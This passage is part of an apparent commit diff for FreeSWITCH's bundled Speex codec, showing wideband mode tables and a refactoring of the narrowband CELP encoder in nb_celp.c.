+   lsp_quant_high,
+   lsp_unquant_high,
+   /*Pitch quantization*/
+   NULL,
+   NULL,
+   NULL,
+   /*No innovation quantization*/
+   NULL,
+   NULL,
+   NULL,
+   -1,
+   36
+};
+
+
+static const SpeexSubmode wb_submode2 = {
+   0,
+   0,
+   1,
+   0,
+   /*LSP quantization*/
+   lsp_quant_high,
+   lsp_unquant_high,
+   /*Pitch quantization*/
+   NULL,
+   NULL,
+   NULL,
+   /*Innovation quantization*/
+   split_cb_search_shape_sign,
+   split_cb_shape_sign_unquant,
+#ifdef DISABLE_WIDEBAND
+   NULL,
+#else
+   &split_cb_high_lbr,
+#endif
+   -1,
+   112
+};
+
+
+static const SpeexSubmode wb_submode3 = {
+   0,
+   0,
+   1,
+   0,
+   /*LSP quantization*/
+   lsp_quant_high,
+   lsp_unquant_high,
+   /*Pitch quantization*/
+   NULL,
+   NULL,
+   NULL,
+   /*Innovation quantization*/
+   split_cb_search_shape_sign,
+   split_cb_shape_sign_unquant,
+#ifdef DISABLE_WIDEBAND
+   NULL,
+#else
+   &split_cb_high,
+#endif
+   -1,
+   192
+};
+
+static const SpeexSubmode wb_submode4 = {
+   0,
+   0,
+   1,
+   1,
+   /*LSP quantization*/
+   lsp_quant_high,
+   lsp_unquant_high,
+   /*Pitch quantization*/
+   NULL,
+   NULL,
+   NULL,
+   /*Innovation quantization*/
+   split_cb_search_shape_sign,
+   split_cb_shape_sign_unquant,
+#ifdef DISABLE_WIDEBAND
+   NULL,
+#else
+   &split_cb_high,
+#endif
+   -1,
+   352
+};
+
+
+/* Split-band wideband CELP mode*/
+static const SpeexSBMode sb_wb_mode = {
+   &speex_nb_mode,
+   160,    /*frameSize*/
+   40,     /*subframeSize*/
+   8,     /*lpcSize*/
+#ifdef FIXED_POINT
+   29491, 19661, /* gamma1, gamma2 */
+#else
+   0.9, 0.6, /* gamma1, gamma2 */
+#endif
+   QCONST16(.0002,15), /*lpc_floor*/
+   QCONST16(0.9f,15),
+   {NULL, &wb_submode1, &wb_submode2, &wb_submode3, &wb_submode4, NULL, NULL, NULL},
+   3,
+   {1, 8, 2, 3, 4, 5, 5, 6, 6, 7, 7},
+   {1, 1, 1, 1, 1, 1, 2, 2, 3, 3, 4},
+#ifndef DISABLE_VBR
+   vbr_hb_thresh,
+#endif
+   5
+};
+
+
+EXPORT const SpeexMode speex_wb_mode = {
+   &sb_wb_mode,
+   wb_mode_query,
+   "wideband (sub-band CELP)",
+   1,
+   4,
+   &sb_encoder_init,
+   &sb_encoder_destroy,
+   &sb_encode,
+   &sb_decoder_init,
+   &sb_decoder_destroy,
+   &sb_decode,
+   &sb_encoder_ctl,
+   &sb_decoder_ctl,
+};
+
+
+
+/* "Ultra-wideband" mode stuff */
+
+
+
+/* Split-band "ultra-wideband" (32 kbps) CELP mode*/
+static const SpeexSBMode sb_uwb_mode = {
+   &speex_wb_mode,
+   320,    /*frameSize*/
+   80,     /*subframeSize*/
+   8,     /*lpcSize*/
+#ifdef FIXED_POINT
+   29491, 19661, /* gamma1, gamma2 */
+#else
+   0.9, 0.6, /* gamma1, gamma2 */
+#endif
+   QCONST16(.0002,15), /*lpc_floor*/
+   QCONST16(0.7f,15),
+   {NULL, &wb_submode1, NULL, NULL, NULL, NULL, NULL, NULL},
+   1,
+   {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10},
+   {0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1},
+#ifndef DISABLE_VBR
+   vbr_uhb_thresh,
+#endif
+   2
+};
+
+int wb_mode_query(const void *mode, int request, void *ptr)
+{
+   const SpeexSBMode *m = (const SpeexSBMode*)mode;
+
+   switch (request)
+   {
+      case SPEEX_MODE_FRAME_SIZE:
+         *((int*)ptr)=2*m->frameSize;
+         break;
+      case SPEEX_SUBMODE_BITS_PER_FRAME:
+         if (*((int*)ptr)==0)
+            *((int*)ptr) = SB_SUBMODE_BITS+1;
+         else if (m->submodes[*((int*)ptr)]==NULL)
+            *((int*)ptr) = -1;
+         else
+            *((int*)ptr) = m->submodes[*((int*)ptr)]->bits_per_frame;
+         break;
+      default:
+         speex_warning_int("Unknown wb_mode_query request: ", request);
+         return -1;
+   }
+   return 0;
+}
+
+
+EXPORT const SpeexMode speex_uwb_mode = {
+   &sb_uwb_mode,
+   wb_mode_query,
+   "ultra-wideband (sub-band CELP)",
+   2,
+   4,
+   &sb_encoder_init,
+   &sb_encoder_destroy,
+   &sb_encode,
+   &sb_decoder_init,
+   &sb_decoder_destroy,
+   &sb_decode,
+   &sb_encoder_ctl,
+   &sb_decoder_ctl,
+};
+
+/* We have defined speex_lib_get_mode() as a macro in speex.h */
+#undef speex_lib_get_mode
+
+EXPORT const SpeexMode * speex_lib_get_mode (int mode)
+{
+   if (mode < 0 || mode >= SPEEX_NB_MODES) return NULL;
+
+   return speex_mode_list[mode];
+}
+
+
+

Modified: freeswitch/branches/seven/libs/speex/libspeex/nb_celp.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/nb_celp.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/nb_celp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -45,8 +45,9 @@
 #include "vq.h"
 #include <speex/speex_bits.h>
 #include "vbr.h"
-#include "misc.h"
+#include "arch.h"
 #include "math_approx.h"
+#include "os_support.h"
 #include <speex/speex_callbacks.h>
 
 #ifdef VORBIS_PSYCHO
@@ -87,14 +88,14 @@
 
 #else
 
-const float exc_gain_quant_scal3_bound[7]={0.112338, 0.236980, 0.369316, 0.492054, 0.637471, 0.828874, 1.132784};
-const float exc_gain_quant_scal3[8]={0.061130, 0.163546, 0.310413, 0.428220, 0.555887, 0.719055, 0.938694, 1.326874};
-const float exc_gain_quant_scal1_bound[1]={0.87798};
-const float exc_gain_quant_scal1[2]={0.70469, 1.05127};
+const float exc_gain_quant_scal3_bound[7]={0.112338f, 0.236980f, 0.369316f, 0.492054f, 0.637471f, 0.828874f, 1.132784f};
+const float exc_gain_quant_scal3[8]={0.061130f, 0.163546f, 0.310413f, 0.428220f, 0.555887f, 0.719055f, 0.938694f, 1.326874f};
+const float exc_gain_quant_scal1_bound[1]={0.87798f};
+const float exc_gain_quant_scal1[2]={0.70469f, 1.05127f};
 
-#define LSP_MARGIN .002
-#define LSP_DELTA1 .2
-#define LSP_DELTA2 .05
+#define LSP_MARGIN .002f
+#define LSP_DELTA1 .2f
+#define LSP_DELTA2 .05f
 
 #endif
 
@@ -107,6 +108,7 @@
 
 #define sqr(x) ((x)*(x))
 
+extern const spx_word16_t lag_window[];
 extern const spx_word16_t lpc_window[];
 
 void *nb_encoder_init(const SpeexMode *m)
@@ -136,7 +138,6 @@
    st->gamma2=mode->gamma2;
    st->min_pitch=mode->pitchStart;
    st->max_pitch=mode->pitchEnd;
-   st->lag_factor=mode->lag_factor;
    st->lpc_floor = mode->lpc_floor;
   
    st->submodes=mode->submodes;
@@ -144,9 +145,6 @@
    st->bounded_pitch = 1;
 
    st->encode_submode = 1;
-#ifdef EPIC_48K
-   st->lbr_48k=mode->lbr48k;
-#endif
 
 #ifdef VORBIS_PSYCHO
    st->psy = vorbis_psy_init(8000, 256);
@@ -168,17 +166,13 @@
    st->window= lpc_window;
    
    /* Create the window for autocorrelation (lag-windowing) */
-   st->lagWindow = (spx_word16_t*)speex_alloc((st->lpcSize+1)*sizeof(spx_word16_t));
-   for (i=0;i<st->lpcSize+1;i++)
-      st->lagWindow[i]=16384*exp(-.5*sqr(2*M_PI*st->lag_factor*i));
+   st->lagWindow = lag_window;
 
    st->old_lsp = (spx_lsp_t*)speex_alloc((st->lpcSize)*sizeof(spx_lsp_t));
    st->old_qlsp = (spx_lsp_t*)speex_alloc((st->lpcSize)*sizeof(spx_lsp_t));
    st->first = 1;
    for (i=0;i<st->lpcSize;i++)
-   {
-      st->old_lsp[i]=LSP_SCALING*(M_PI*((float)(i+1)))/(st->lpcSize+1);
-   }
+      st->old_lsp[i]= DIV32(MULT16_16(QCONST16(3.1415927f, LSP_SHIFT), i+1), st->lpcSize+1);
 
    st->mem_sp = (spx_mem_t*)speex_alloc((st->lpcSize)*sizeof(spx_mem_t));
    st->mem_sw = (spx_mem_t*)speex_alloc((st->lpcSize)*sizeof(spx_mem_t));
@@ -187,10 +181,11 @@
    st->mem_exc2 = (spx_mem_t*)speex_alloc((st->lpcSize)*sizeof(spx_mem_t));
 
    st->pi_gain = (spx_word32_t*)speex_alloc((st->nbSubframes)*sizeof(spx_word32_t));
-   st->innov_save = NULL;
+   st->innov_rms_save = NULL;
    
    st->pitch = (int*)speex_alloc((st->nbSubframes)*sizeof(int));
 
+#ifndef DISABLE_VBR
    st->vbr = (VBRState*)speex_alloc(sizeof(VBRState));
    vbr_init(st->vbr);
    st->vbr_quality = 8;
@@ -198,18 +193,20 @@
    st->vbr_max = 0;
    st->vad_enabled = 0;
    st->dtx_enabled = 0;
+   st->dtx_count=0;
    st->abr_enabled = 0;
    st->abr_drift = 0;
+   st->abr_drift2 = 0;
+#endif /* #ifndef DISABLE_VBR */
 
    st->plc_tuning = 2;
    st->complexity=2;
    st->sampling_rate=8000;
-   st->dtx_count=0;
    st->isWideband = 0;
    st->highpass_enabled = 1;
    
 #ifdef ENABLE_VALGRIND
-   VALGRIND_MAKE_READABLE(st, (st->stack-(char*)st));
+   VALGRIND_MAKE_READABLE(st, NB_ENC_STACK);
 #endif
    return st;
 }
@@ -227,8 +224,6 @@
    speex_free (st->old_qlsp);
    speex_free (st->swBuf);
 
-   speex_free (st->lagWindow);
-
    speex_free (st->old_lsp);
    speex_free (st->mem_sp);
    speex_free (st->mem_sw);
@@ -238,8 +233,10 @@
    speex_free (st->pi_gain);
    speex_free (st->pitch);
 
+#ifndef DISABLE_VBR
    vbr_destroy(st->vbr);
    speex_free (st->vbr);
+#endif /* #ifndef DISABLE_VBR */
 
 #ifdef VORBIS_PSYCHO
    vorbis_psy_destroy(st->psy);
@@ -276,10 +273,9 @@
    char *stack;
    VARDECL(spx_word16_t *syn_resp);
    VARDECL(spx_word16_t *real_exc);
-#ifdef EPIC_48K
-   int pitch_half[2];
-   int ol_pitch_id=0;
-#endif
+   
+   spx_word32_t ener=0;
+   spx_word16_t fine_gain;
    spx_word16_t *in = (spx_word16_t*)vin;
 
    st=(EncState *)state;
@@ -296,8 +292,8 @@
    ALLOC(interp_qlpc, st->lpcSize, spx_coef_t);
 
    /* Move signals 1 frame towards the past */
-   speex_move(st->excBuf, st->excBuf+st->frameSize, (st->max_pitch+2)*sizeof(spx_word16_t));
-   speex_move(st->swBuf, st->swBuf+st->frameSize, (st->max_pitch+2)*sizeof(spx_word16_t));
+   SPEEX_MOVE(st->excBuf, st->excBuf+st->frameSize, st->max_pitch+2);
+   SPEEX_MOVE(st->swBuf, st->swBuf+st->frameSize, st->max_pitch+2);
 
    if (st->highpass_enabled)
       highpass(in, in, st->frameSize, (st->isWideband?HIGHPASS_WIDEBAND:HIGHPASS_NARROWBAND)|HIGHPASS_INPUT, st->mem_hp);
@@ -340,6 +336,7 @@
 
    /* Whole frame analysis (open-loop estimation of pitch and excitation gain) */
    {
+      int diff = st->windowSize-st->frameSize;
       if (st->first)
          for (i=0;i<st->lpcSize;i++)
             interp_lsp[i] = lsp[i];
@@ -353,19 +350,20 @@
 
 
       /*Open-loop pitch*/
-      if (st->complexity>2 || !st->submodes[st->submodeID] || st->vbr_enabled || st->vad_enabled || SUBMODE(forced_pitch_gain) ||
-          SUBMODE(lbr_pitch) != -1)
+      if (!st->submodes[st->submodeID] || (st->complexity>2 && SUBMODE(have_subframe_gain)<3) || SUBMODE(forced_pitch_gain) || SUBMODE(lbr_pitch) != -1 
+#ifndef DISABLE_VBR
+           || st->vbr_enabled || st->vad_enabled
+#endif
+                  )
       {
          int nol_pitch[6];
          spx_word16_t nol_pitch_coef[6];
          
          bw_lpc(st->gamma1, interp_lpc, bw_lpc1, st->lpcSize);
          bw_lpc(st->gamma2, interp_lpc, bw_lpc2, st->lpcSize);
-         
-         for (i=0;i<st->windowSize-st->frameSize;i++)
-            st->sw[i] = st->winBuf[i];
-         for (;i<st->frameSize;i++)
-            st->sw[i] = in[i-st->windowSize+st->frameSize];
+
+         SPEEX_COPY(st->sw, st->winBuf, diff);
+         SPEEX_COPY(st->sw+diff, in, st->frameSize-diff);
          filter_mem16(st->sw, bw_lpc1, bw_lpc2, st->sw, st->frameSize, st->lpcSize, st->mem_sw_whole, stack);
 
          open_loop_nbest_pitch(st->sw, st->min_pitch, st->max_pitch, st->frameSize, 
@@ -391,54 +389,20 @@
            ol_pitch/=2;*/
          /*ol_pitch_coef = sqrt(ol_pitch_coef);*/
 
-#ifdef EPIC_48K
-         if (st->lbr_48k)
-         {
-            if (ol_pitch < st->min_pitch+2)
-               ol_pitch = st->min_pitch+2;
-            if (ol_pitch > st->max_pitch-2)
-               ol_pitch = st->max_pitch-2;
-            open_loop_nbest_pitch(st->sw, ol_pitch-2, ol_pitch+2, st->frameSize>>1, 
-                                  &pitch_half[0], nol_pitch_coef, 1, stack);
-            open_loop_nbest_pitch(st->sw+(st->frameSize>>1), pitch_half[0]-1, pitch_half[0]+2, st->frameSize>>1, 
-                                  &pitch_half[1], nol_pitch_coef, 1, stack);
-         }
-#endif
       } else {
          ol_pitch=0;
          ol_pitch_coef=0;
       }
       
       /*Compute "real" excitation*/
-      for (i=0;i<st->windowSize-st->frameSize;i++)
-         st->exc[i] = st->winBuf[i];
-      for (;i<st->frameSize;i++)
-         st->exc[i] = in[i-st->windowSize+st->frameSize];
+      SPEEX_COPY(st->exc, st->winBuf, diff);
+      SPEEX_COPY(st->exc+diff, in, st->frameSize-diff);
       fir_mem16(st->exc, interp_lpc, st->exc, st->frameSize, st->lpcSize, st->mem_exc, stack);
 
       /* Compute open-loop excitation gain */
-#ifdef EPIC_48K
-      if (st->lbr_48k)
       {
-         float ol1=0,ol2=0;
-         float ol_gain2;
-         ol1 = compute_rms16(st->exc, st->frameSize>>1);
-         ol2 = compute_rms16(st->exc+(st->frameSize>>1), st->frameSize>>1);
-         ol1 *= ol1*(st->frameSize>>1);
-         ol2 *= ol2*(st->frameSize>>1);
-
-         ol_gain2=ol1;
-         if (ol2>ol1)
-            ol_gain2=ol2;
-         ol_gain2 = sqrt(2*ol_gain2*(ol1+ol2))*1.3*(1-.5*GAIN_SCALING_1*GAIN_SCALING_1*ol_pitch_coef*ol_pitch_coef);
-      
-         ol_gain=SHR(sqrt(1+ol_gain2/st->frameSize),SIG_SHIFT);
-
-      } else
-#endif
-      {
          spx_word16_t g = compute_rms16(st->exc, st->frameSize);
-         if (ol_pitch>0)
+         if (st->submodeID!=1 && ol_pitch>0)
             ol_gain = MULT16_16(g, MULT16_16_Q14(QCONST16(1.1,14),
                                 spx_sqrt(QCONST32(1.,28)-MULT16_32_Q15(QCONST16(.8,15),SHL32(MULT16_16(ol_pitch_coef,ol_pitch_coef),16)))));
          else
@@ -447,18 +411,16 @@
    }
 
 #ifdef VORBIS_PSYCHO
-   for(i=0;i<256-st->frameSize;i++)
-      st->psy_window[i] = st->psy_window[i+st->frameSize];
-   for(i=0;i<st->frameSize;i++)
-      st->psy_window[256-st->frameSize+i] = in[i];
+   SPEEX_MOVE(st->psy_window, st->psy_window+st->frameSize, 256-st->frameSize);
+   SPEEX_COPY(&st->psy_window[256-st->frameSize], in, st->frameSize);
    compute_curve(st->psy, st->psy_window, st->curve);
    /*print_vec(st->curve, 128, "curve");*/
    if (st->first)
-      for (i=0;i<128;i++)
-         st->old_curve[i] = st->curve[i];
+      SPEEX_COPY(st->old_curve, st->curve, 128);
 #endif
 
    /*VBR stuff*/
+#ifndef DISABLE_VBR
    if (st->vbr && (st->vbr_enabled||st->vad_enabled))
    {
       float lsp_dist=0;
@@ -570,23 +532,17 @@
    } else {
       st->relative_quality = -1;
    }
+#endif /* #ifndef DISABLE_VBR */
 
    if (st->encode_submode)
    {
-#ifdef EPIC_48K
-   if (!st->lbr_48k) {
-#endif
+      /* First, transmit a zero for narrowband */
+      speex_bits_pack(bits, 0, 1);
 
-   /* First, transmit a zero for narrowband */
-   speex_bits_pack(bits, 0, 1);
+      /* Transmit the sub-mode we use for this frame */
+      speex_bits_pack(bits, st->submodeID, NB_SUBMODE_BITS);
 
-   /* Transmit the sub-mode we use for this frame */
-   speex_bits_pack(bits, st->submodeID, NB_SUBMODE_BITS);
-
-#ifdef EPIC_48K
    }
-#endif
-   }
 
    /* If null mode (no transmission), just set a couple things to zero*/
    if (st->submodes[st->submodeID] == NULL)
@@ -599,7 +555,7 @@
       st->first=1;
       st->bounded_pitch = 1;
 
-      speex_move(st->winBuf, in+2*st->frameSize-st->windowSize, (st->windowSize-st->frameSize)*sizeof(spx_word16_t));
+      SPEEX_COPY(st->winBuf, in+2*st->frameSize-st->windowSize, st->windowSize-st->frameSize);
 
       /* Clear memory (no need to really compute it) */
       for (i=0;i<st->lpcSize;i++)
@@ -624,35 +580,6 @@
      qlsp[i]=lsp[i];
 #endif
 
-#ifdef EPIC_48K
-   if (st->lbr_48k) {
-      speex_bits_pack(bits, pitch_half[0]-st->min_pitch, 7);
-      speex_bits_pack(bits, pitch_half[1]-pitch_half[0]+1, 2);
-      
-      {
-         int quant = (int)floor(.5+7.4*GAIN_SCALING_1*ol_pitch_coef);
-         if (quant>7)
-            quant=7;
-         if (quant<0)
-            quant=0;
-         ol_pitch_id=quant;
-         speex_bits_pack(bits, quant, 3);
-         ol_pitch_coef=GAIN_SCALING*0.13514*quant;
-         
-      }
-      {
-         int qe = (int)(floor(.5+2.1*log(ol_gain*1.0/SIG_SCALING)))-2;
-         if (qe<0)
-            qe=0;
-         if (qe>15)
-            qe=15;
-         ol_gain = exp((qe+2)/2.1)*SIG_SCALING;
-         speex_bits_pack(bits, qe, 4);
-      }
-
-   } else {
-#endif
-
    /*If we use low bit-rate pitch mode, transmit open-loop pitch*/
    if (SUBMODE(lbr_pitch)!=-1)
    {
@@ -662,13 +589,19 @@
    if (SUBMODE(forced_pitch_gain))
    {
       int quant;
+      /* This just damps the pitch a bit, because it tends to be too aggressive when forced */
+      ol_pitch_coef = MULT16_16_Q15(QCONST16(.9,15), ol_pitch_coef);
+#ifdef FIXED_POINT
+      quant = PSHR16(MULT16_16_16(15, ol_pitch_coef),GAIN_SHIFT);
+#else
       quant = (int)floor(.5+15*ol_pitch_coef*GAIN_SCALING_1);
+#endif
       if (quant>15)
          quant=15;
       if (quant<0)
          quant=0;
       speex_bits_pack(bits, quant, 4);
-      ol_pitch_coef=GAIN_SCALING*0.066667*quant;
+      ol_pitch_coef=MULT16_16_P15(QCONST16(0.066667,15),SHL16(quant,GAIN_SHIFT));
    }
    
    
@@ -693,11 +626,7 @@
 #endif
 
 
-#ifdef EPIC_48K
-   }
-#endif
 
-
    /* Special case for first frame */
    if (st->first)
    {
@@ -720,18 +649,8 @@
       int   offset;
       spx_word16_t *sw;
       spx_word16_t *exc;
-      spx_sig_t *innov_save = NULL;
       int pitch;
       int response_bound = st->subframeSize;
-#ifdef EPIC_48K
-      if (st->lbr_48k)
-      {
-         if (sub*2 < st->nbSubframes)
-            ol_pitch = pitch_half[0];
-         else
-            ol_pitch = pitch_half[1];
-      }
-#endif
 
       /* Offset relative to start of frame */
       offset = st->subframeSize*sub;
@@ -739,9 +658,6 @@
       exc=st->exc+offset;
       /* Weighted signal */
       sw=st->sw+offset;
-      /* Pointer for saving innovation */
-      if (st->innov_save)
-         innov_save = st->innov_save+offset;
       
       /* LSP interpolation (quantized and unquantized) */
       lsp_interpolate(st->old_lsp, lsp, interp_lsp, st->lpcSize, sub, st->nbSubframes);
@@ -782,25 +698,21 @@
          bw_lpc(st->gamma2, interp_lpc, bw_lpc2, st->lpcSize);
       else
       {
-         bw_lpc2[0]=1;
-         for (i=1;i<=st->lpcSize;i++)
+         for (i=0;i<st->lpcSize;i++)
             bw_lpc2[i]=0;
       }
       /*print_vec(st->bw_lpc1, 10, "bw_lpc");*/
 #endif
 
+      /*FIXME: This will break if we change the window size */
+      speex_assert(st->windowSize-st->frameSize == st->subframeSize);
+      if (sub==0)
       {
-         /*FIXME: This will break if we change the window size */
-         if (st->windowSize-st->frameSize != st->subframeSize)
-            speex_error("windowSize-frameSize != subframeSize");
-         if (sub==0)
-         {
-            for (i=0;i<st->subframeSize;i++)
-               real_exc[i] = sw[i] = st->winBuf[i];
-         } else {
-            for (i=0;i<st->subframeSize;i++)
-               real_exc[i] = sw[i] = in[i+((sub-1)*st->subframeSize)];
-         }
+         for (i=0;i<st->subframeSize;i++)
+            real_exc[i] = sw[i] = st->winBuf[i];
+      } else {
+         for (i=0;i<st->subframeSize;i++)
+            real_exc[i] = sw[i] = in[i+((sub-1)*st->subframeSize)];
       }
       fir_mem16(real_exc, interp_qlpc, real_exc, st->subframeSize, st->lpcSize, st->mem_exc2, stack);
       
@@ -820,8 +732,7 @@
       for (i=0;i<st->lpcSize;i++)
          mem[i]=SHL32(st->mem_sw[i],1);
       filter_mem16(ringing, st->bw_lpc1, st->bw_lpc2, ringing, response_bound, st->lpcSize, mem, stack);
-      for (i=response_bound;i<st->subframeSize;i++)
-         ringing[i]=0;
+      SPEEX_MEMSET(&ringing[response_bound], 0, st->subframeSize-response_bound);
 #else
       iir_mem16(ringing, interp_qlpc, ringing, st->subframeSize, st->lpcSize, mem, stack);
       for (i=0;i<st->lpcSize;i++)
@@ -838,16 +749,15 @@
          for (i=0;i<st->lpcSize;i++)
             st->mem_sw[i]=mem[i];
       
-      /* Compute target signal */
+      /* Compute target signal (saturation prevents overflows on clipped input speech) */
       for (i=0;i<st->subframeSize;i++)
-         target[i]=SUB16(sw[i],PSHR32(ringing[i],1));
+         target[i]=EXTRACT16(SATURATE(SUB32(sw[i],PSHR32(ringing[i],1)),32767));
 
       /* Reset excitation */
-      for (i=0;i<st->subframeSize;i++)
-         exc[i]=0;
+      SPEEX_MEMSET(exc, 0, st->subframeSize);
 
       /* If we have a long-term predictor (otherwise, something's wrong) */
-      if (SUBMODE(ltp_quant))
+      speex_assert (SUBMODE(ltp_quant));
       {
          int pit_min, pit_max;
          /* Long-term prediction */
@@ -876,129 +786,98 @@
          if (st->bounded_pitch && pit_max>offset)
             pit_max=offset;
 
-#ifdef EPIC_48K
-         if (st->lbr_48k)
-         {
-            pitch = SUBMODE(ltp_quant)(target, sw, interp_qlpc, bw_lpc1, bw_lpc2,
-                                       exc32, SUBMODE(ltp_params), pit_min, pit_max, ol_pitch_coef,
-                                       st->lpcSize, st->subframeSize, bits, stack, 
-                                       exc, syn_resp, st->complexity, ol_pitch_id, st->plc_tuning, &st->cumul_gain);
-         } else {
-#endif
-
          /* Perform pitch search */
          pitch = SUBMODE(ltp_quant)(target, sw, interp_qlpc, bw_lpc1, bw_lpc2,
                                     exc32, SUBMODE(ltp_params), pit_min, pit_max, ol_pitch_coef,
                                     st->lpcSize, st->subframeSize, bits, stack, 
                                     exc, syn_resp, st->complexity, 0, st->plc_tuning, &st->cumul_gain);
-#ifdef EPIC_48K
-         }
-#endif
 
          st->pitch[sub]=pitch;
-      } else {
-         speex_error ("No pitch prediction, what's wrong");
       }
-
       /* Quantization of innovation */
-      {
-         spx_word32_t ener=0;
-         spx_word16_t fine_gain;
-
-         for (i=0;i<st->subframeSize;i++)
-            innov[i]=0;
-         
-         for (i=0;i<st->subframeSize;i++)
-            real_exc[i] = SUB16(real_exc[i], PSHR32(exc32[i],SIG_SHIFT-1));
-
-         ener = SHL32(EXTEND32(compute_rms16(real_exc, st->subframeSize)),SIG_SHIFT);
-         
-         /*FIXME: Should use DIV32_16 and make sure result fits in 16 bits */
+      SPEEX_MEMSET(innov, 0, st->subframeSize);
+      
+      /* FIXME: Make sure this is save from overflows (so far so good) */
+      for (i=0;i<st->subframeSize;i++)
+         real_exc[i] = EXTRACT16(SUB32(EXTEND32(real_exc[i]), PSHR32(exc32[i],SIG_SHIFT-1)));
+      
+      ener = SHL32(EXTEND32(compute_rms16(real_exc, st->subframeSize)),SIG_SHIFT);
+      
+      /*FIXME: Should use DIV32_16 and make sure result fits in 16 bits */
 #ifdef FIXED_POINT
-         {
-            spx_word32_t f = PDIV32(ener,PSHR32(ol_gain,SIG_SHIFT));
-            if (f<=32767)
-               fine_gain = f;
-            else
-               fine_gain = 32767;
-         }
+      {
+         spx_word32_t f = PDIV32(ener,PSHR32(ol_gain,SIG_SHIFT));
+         if (f<=32767)
+            fine_gain = f;
+         else
+            fine_gain = 32767;
+      }
 #else
-         fine_gain = PDIV32_16(ener,PSHR32(ol_gain,SIG_SHIFT));
+      fine_gain = PDIV32_16(ener,PSHR32(ol_gain,SIG_SHIFT));
 #endif
-         /* Calculate gain correction for the sub-frame (if any) */
-         if (SUBMODE(have_subframe_gain)) 
+      /* Calculate gain correction for the sub-frame (if any) */
+      if (SUBMODE(have_subframe_gain)) 
+      {
+         int qe;
+         if (SUBMODE(have_subframe_gain)==3)
          {
-            int qe;
-            if (SUBMODE(have_subframe_gain)==3)
-            {
-               qe = scal_quant(fine_gain, exc_gain_quant_scal3_bound, 8);
-               speex_bits_pack(bits, qe, 3);
-               ener=MULT16_32_Q14(exc_gain_quant_scal3[qe],ol_gain);
-            } else {
-               qe = scal_quant(fine_gain, exc_gain_quant_scal1_bound, 2);
-               speex_bits_pack(bits, qe, 1);
-               ener=MULT16_32_Q14(exc_gain_quant_scal1[qe],ol_gain);               
-            }
+            qe = scal_quant(fine_gain, exc_gain_quant_scal3_bound, 8);
+            speex_bits_pack(bits, qe, 3);
+            ener=MULT16_32_Q14(exc_gain_quant_scal3[qe],ol_gain);
          } else {
-            ener=ol_gain;
+            qe = scal_quant(fine_gain, exc_gain_quant_scal1_bound, 2);
+            speex_bits_pack(bits, qe, 1);
+            ener=MULT16_32_Q14(exc_gain_quant_scal1[qe],ol_gain);               
          }
+      } else {
+         ener=ol_gain;
+      }
+      
+      /*printf ("%f %f\n", ener, ol_gain);*/
+      
+      /* Normalize innovation */
+      signal_div(target, target, ener, st->subframeSize);
+      
+      /* Quantize innovation */
+      speex_assert (SUBMODE(innovation_quant));
+      {
+         /* Codebook search */
+         SUBMODE(innovation_quant)(target, interp_qlpc, bw_lpc1, bw_lpc2, 
+                  SUBMODE(innovation_params), st->lpcSize, st->subframeSize, 
+                  innov, syn_resp, bits, stack, st->complexity, SUBMODE(double_codebook));
+         
+         /* De-normalize innovation and update excitation */
+         signal_mul(innov, innov, ener, st->subframeSize);
+         
+         for (i=0;i<st->subframeSize;i++)
+            exc[i] = EXTRACT16(SATURATE32(PSHR32(ADD32(SHL32(exc32[i],1),innov[i]),SIG_SHIFT),32767));
 
-         /*printf ("%f %f\n", ener, ol_gain);*/
-
-         /* Normalize innovation */
-         signal_div(target, target, ener, st->subframeSize);
-
-         /* Quantize innovation */
-         if (SUBMODE(innovation_quant))
-         {
-            /* Codebook search */
-            SUBMODE(innovation_quant)(target, interp_qlpc, bw_lpc1, bw_lpc2, 
-                                      SUBMODE(innovation_params), st->lpcSize, st->subframeSize, 
-                                      innov, syn_resp, bits, stack, st->complexity, SUBMODE(double_codebook));
-            
-            /* De-normalize innovation and update excitation */
-            signal_mul(innov, innov, ener, st->subframeSize);
-
-            for (i=0;i<st->subframeSize;i++)
-               exc[i] = EXTRACT16(PSHR32(ADD32(SHL32(exc32[i],1),innov[i]),SIG_SHIFT));
-         } else {
-            speex_error("No fixed codebook");
-         }
-
-         if (innov_save)
-         {
-            for (i=0;i<st->subframeSize;i++)
-               innov_save[i] = innov[i];
-         }
          /* In some (rare) modes, we do a second search (more bits) to reduce noise even more */
          if (SUBMODE(double_codebook)) {
             char *tmp_stack=stack;
             VARDECL(spx_sig_t *innov2);
             ALLOC(innov2, st->subframeSize, spx_sig_t);
+            SPEEX_MEMSET(innov2, 0, st->subframeSize);
             for (i=0;i<st->subframeSize;i++)
-               innov2[i]=0;
-            for (i=0;i<st->subframeSize;i++)
-               target[i]=MULT16_16_P13(QCONST16(2.2,13), target[i]);
+               target[i]=MULT16_16_P13(QCONST16(2.2f,13), target[i]);
             SUBMODE(innovation_quant)(target, interp_qlpc, bw_lpc1, bw_lpc2, 
                                       SUBMODE(innovation_params), st->lpcSize, st->subframeSize, 
                                       innov2, syn_resp, bits, stack, st->complexity, 0);
-            signal_mul(innov2, innov2, MULT16_32_Q15(QCONST16(0.454545,15),ener), st->subframeSize);
+            signal_mul(innov2, innov2, MULT16_32_Q15(QCONST16(0.454545f,15),ener), st->subframeSize);
             for (i=0;i<st->subframeSize;i++)
-               exc[i] = ADD32(exc[i],PSHR32(innov2[i],SIG_SHIFT));
-            if (innov_save)
-            {
-               for (i=0;i<st->subframeSize;i++)
-                  innov_save[i] = ADD32(innov_save[i],innov2[i]);
-            }
+               innov[i] = ADD32(innov[i],innov2[i]);
             stack = tmp_stack;
          }
-
+         for (i=0;i<st->subframeSize;i++)
+            exc[i] = EXTRACT16(SATURATE32(PSHR32(ADD32(SHL32(exc32[i],1),innov[i]),SIG_SHIFT),32767));
+         if (st->innov_rms_save)
+         {
+            st->innov_rms_save[sub] = compute_rms(innov, st->subframeSize);
+         }
       }
 
-      for (i=0;i<st->subframeSize;i++)
-         sw[i] = exc[i];
       /* Final signal synthesis from excitation */
-      iir_mem16(sw, interp_qlpc, sw, st->subframeSize, st->lpcSize, st->mem_sp, stack);
+      iir_mem16(exc, interp_qlpc, sw, st->subframeSize, st->lpcSize, st->mem_sp, stack);
 
       /* Compute weighted signal again, from synthesized speech (not sure it's the right thing) */
       if (st->complexity!=0)
@@ -1017,23 +896,22 @@
 
 #ifdef VORBIS_PSYCHO
    if (st->submodeID>=1)
-   {
-      for (i=0;i<128;i++)
